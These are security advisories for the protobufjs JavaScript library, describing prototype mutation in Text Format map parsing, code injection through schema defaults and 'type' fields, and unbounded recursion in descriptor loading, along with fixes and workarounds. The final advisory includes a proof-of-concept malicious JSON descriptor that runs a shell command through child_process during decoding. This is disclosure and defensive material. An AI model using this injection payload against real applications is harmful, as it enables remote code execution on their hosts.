Summary

The protobuf.js text format extension parsed string-keyed map entries using ordinary property assignment. A text-format map entry with key proto could therefore change the prototype of the returned map object instead of creating an own map entry.

This affected the optional Text Format extension. Other protobufjs input paths, including binary decode, fromObject, and ProtoJSON conversion, are not affected.

Impact

An attacker who can provide protobuf text-format input parsed by an application using protobufjs/ext/textformat may be able to create message objects whose string-keyed map fields have attacker-controlled prototypes.

This is per-object prototype mutation, not global Object.prototype pollution. Impact depends on downstream application logic treating inherited properties as meaningful, for example by using in, truthiness checks, or direct property access on parsed map objects instead of own-property checks.

Applications that do not parse untrusted Text Format input, or that do not use inherited properties from parsed map objects in security-relevant logic, are not directly affected.

Preconditions

The application must parse attacker-controlled protobuf Text Format input with protobufjs/ext/textformat. The target schema must contain a string-keyed map field. The crafted input must provide a map entry with key proto. Downstream application logic must treat inherited properties on the returned map object as meaningful for impact beyond malformed output.

Workarounds

Upgrade to protobufjs 8.6.5 or newer.

If immediate upgrade is not possible, do not parse untrusted protobuf Text Format input with affected versions. Applications can also reject string map keys named proto before or during Text Format parsing, and should use own-property checks such as Object.hasOwnProperty.call(map, key) when consuming parsed map objects.

protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function. This vulnerability is fixed in 7.5.6 and 8.0.2.

Summary

protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON().

A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading.

Impact

An attacker who can provide JSON descriptors loaded by an application may be able to crash the process or otherwise cause schema loading to fail with a stack overflow.

This affects applications that load JSON descriptors from untrusted sources with affected versions.

Preconditions

- The application must load JSON descriptor data influenced by an attacker. - The crafted descriptor must contain deeply nested nested namespace objects. - The affected Root.fromJSON() / Namespace.addJSON() descriptor expansion path must process the crafted input.

Workarounds

Avoid loading untrusted protobuf JSON descriptors with affected versions. If immediate upgrade is not possible, reject excessively nested descriptor structures at an outer validation boundary where feasible, or isolate descriptor loading in a process that can be safely restarted.

Summary protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC js const protobuf = require('protobufjs'); maliciousDescriptor = JSON.parse({"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}) const root = protobuf.Root.fromJSON(maliciousDescriptor); const UserType = root.lookupType("User"); const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]); try { const user = UserType.decode(userBytes); } catch (e) {}

Impact Remote code execution when attackers can control the protobuf definition files.